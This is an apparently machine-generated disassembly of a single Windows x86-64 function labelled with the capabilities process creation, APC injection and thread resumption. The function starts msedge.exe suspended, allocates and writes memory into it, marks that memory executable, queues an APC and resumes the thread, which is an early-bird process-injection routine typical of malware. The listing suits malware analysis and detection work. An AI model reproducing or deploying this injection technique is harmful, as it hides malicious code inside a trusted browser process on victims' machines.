Function at 0x140005d70
Capabilities:
Create process on windows
Inject apc
Resume thread

Disassembly:
push rbp
push rsi
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 8], rcx
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov qword [rbp + 0x18], rax
call fcn.140024cf0
mov qword [rbp + 0x10], rax
jmp 0x140005da6
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb8], rax
mov byte [rbp + 0xf7], 0
mov qword [rbp + 0xf8], 1
mov byte [rbp + 0x107], 0
mov qword [rbp + 0x108], 1
lea rax, [rbp + 0x130]
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], 0
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x120], rax
movaps xmm1, xmmword [rbp + 0x130]
movaps xmmword [rbp + 0x110], xmm1
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x160], rax
movaps xmm1, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x150], xmm1
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x30], rax
movaps xmm1, xmmword [rbp + 0x150]
movaps xmmword [rbp + 0x20], xmm1
mov byte [rbp + 0x187], 0
mov qword [rbp + 0x188], 1
mov byte [rbp + 0x197], 0
mov qword [rbp + 0x198], 1
lea rax, [rbp + 0x210]
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x2f0], rax
movaps xmmword [rbp + 0x260], xmm0
movaps xmmword [rbp + 0x250], xmm0
movaps xmmword [rbp + 0x240], xmm0
movaps xmmword [rbp + 0x230], xmm0
movaps xmmword [rbp + 0x220], xmm0
movaps xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x270], 0
mov rax, qword [rbp + 0x270]
mov qword [rbp + 0x200], rax
movaps xmm0, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmm0, xmmword [rbp + 0x210]
movaps xmm1, xmmword [rbp + 0x220]
movaps xmm2, xmmword [rbp + 0x230]
movaps xmm3, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x1d0], xmm3
movaps xmmword [rbp + 0x1c0], xmm2
movaps xmmword [rbp + 0x1b0], xmm1
movaps xmmword [rbp + 0x1a0], xmm0
mov rax, qword [rbp + 0x200]
mov qword [rbp + 0x2e0], rax
movaps xmm0, xmmword [rbp + 0x1f0]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmm0, xmmword [rbp + 0x1e0]
movaps xmmword [rbp + 0x2c0], xmm0
movaps xmm0, xmmword [rbp + 0x1a0]
movaps xmm1, xmmword [rbp + 0x1b0]
movaps xmm2, xmmword [rbp + 0x1c0]
movaps xmm3, xmmword [rbp + 0x1d0]
movaps xmmword [rbp + 0x2b0], xmm3
movaps xmmword [rbp + 0x2a0], xmm2
movaps xmmword [rbp + 0x290], xmm1
movaps xmmword [rbp + 0x280], xmm0
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0xa0], rax
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0x80], xmm0
movaps xmm0, xmmword [rbp + 0x280]
movaps xmm1, xmmword [rbp + 0x290]
movaps xmm2, xmmword [rbp + 0x2a0]
movaps xmm3, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x70], xmm3
movaps xmmword [rbp + 0x60], xmm2
movaps xmmword [rbp + 0x50], xmm1
movaps xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x7c], 0x104
mov word [rbp + 0x80], 0
lea rcx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3e8], 0x3d
mov qword [rbp + 0x398], 0
mov qword [rbp + 0x3a0], 0
mov qword [rbp + 0x3b0], 0
mov rax, qword [rbp + 0x3b0]
mov qword [rbp + 0x3a8], rax
mov rdx, qword [rbp + 0x3a8]
mov qword [rbp + 0x318], 0
mov qword [rbp + 0x320], 0
mov qword [rbp + 0x330], 0
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x328], rax
mov r8, qword [rbp + 0x328]
mov qword [rbp + 0x2f8], 0
mov qword [rbp + 0x300], 0
mov qword [rbp + 0x310], 0
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x308], rax
mov r9, qword [rbp + 0x308]
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
mov qword [rbp + 0x390], 0
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x388], rax
mov r10, qword [rbp + 0x388]
mov qword [rbp + 0x338], 0
mov qword [rbp + 0x340], 0
mov qword [rbp + 0x350], 0
mov rax, qword [rbp + 0x350]
mov qword [rbp + 0x348], rax
mov r11, qword [rbp + 0x348]
mov rax, rsp
lea rsi, [rbp + 0x20]
mov qword [rax + 0x48], rsi
lea rsi, [rbp + 0x40]
mov qword [rax + 0x40], rsi
mov qword [rax + 0x38], r11
mov qword [rax + 0x30], r10
mov dword [rax + 0x28], 0x8000000
mov dword [rax + 0x20], 1
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 4], eax
jmp 0x140006143
mov r8, qword [rbp + 0x10]
mov eax, dword [rbp + 4]
mov dword [rbp + 0xc4], eax
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 0x358], 0
mov qword [rbp + 0x360], 0
mov qword [rbp + 0x370], 0
mov rax, qword [rbp + 0x370]
mov qword [rbp + 0x368], rax
mov rdx, qword [rbp + 0x368]
mov rax, rsp
mov dword [rax + 0x20], 4
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x3000
call rax
mov qword [rbp - 8], rax
jmp 0x1400061a9
mov rcx, qword [rbp - 8]
mov qword [rbp + 0xc8], rcx
call fcn.140015a70
jmp 0x1400061bb
mov rcx, qword [rbp + 8]
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x18], rax
call fcn.140024d00
mov qword [rbp - 0x10], rax
jmp 0x1400061d2
mov r9, qword [rbp + 0x10]
mov r8, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov rcx, qword [rbp - 0x18]
mov qword [rbp + 0x3d8], r8
mov qword [rbp + 0x3b8], 0
mov qword [rbp + 0x3c0], 0
mov qword [rbp + 0x3d0], 0
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3c8], rax
mov r10, qword [rbp + 0x3c8]
mov rax, rsp
mov qword [rax + 0x20], r10
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp - 0x1c], eax
jmp 0x140006234
mov r8, qword [rbp + 0x10]
mov rdx, qword [rbp - 8]
mov eax, dword [rbp - 0x1c]
mov dword [rbp + 0xd0], eax
mov dword [rbp + 0xac], 4
mov rcx, qword [rbp + 0x20]
mov rax, rsp
lea r9, [rbp + 0xac]
mov qword [rax + 0x20], r9
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r9d, 0x10
call rax
mov dword [rbp - 0x20], eax
jmp 0x140006275
mov rax, qword [rbp - 8]
mov ecx, dword [rbp - 0x20]
mov dword [rbp + 0xd4], ecx
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xb0], rax
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0xb0]
mov rax, qword [sym.imp.KERNEL32.dll_QueueUserAPC]
xor r8d, r8d
call rax
mov dword [rbp - 0x24], eax
jmp 0x1400062ac
mov eax, dword [rbp - 0x24]
mov dword [rbp + 0xe4], eax
mov rcx, qword [rbp + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov dword [rbp - 0x28], eax
jmp 0x1400062c7
mov eax, dword [rbp - 0x28]
mov dword [rbp + 0xe8], eax
mov rcx, qword [rbp + 0x20]
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rbp - 0x2c], eax
jmp 0x1400062e2
mov eax, dword [rbp - 0x2c]
mov dword [rbp + 0xec], eax
mov rcx, qword [rbp + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rbp - 0x30], eax
jmp 0x1400062fd
mov rcx, qword [rbp + 8]
mov eax, dword [rbp - 0x30]
mov dword [rbp + 0xf0], eax
call fcn.1400240b0
nop
add rsp, 0x478
pop rsi
pop rbp
ret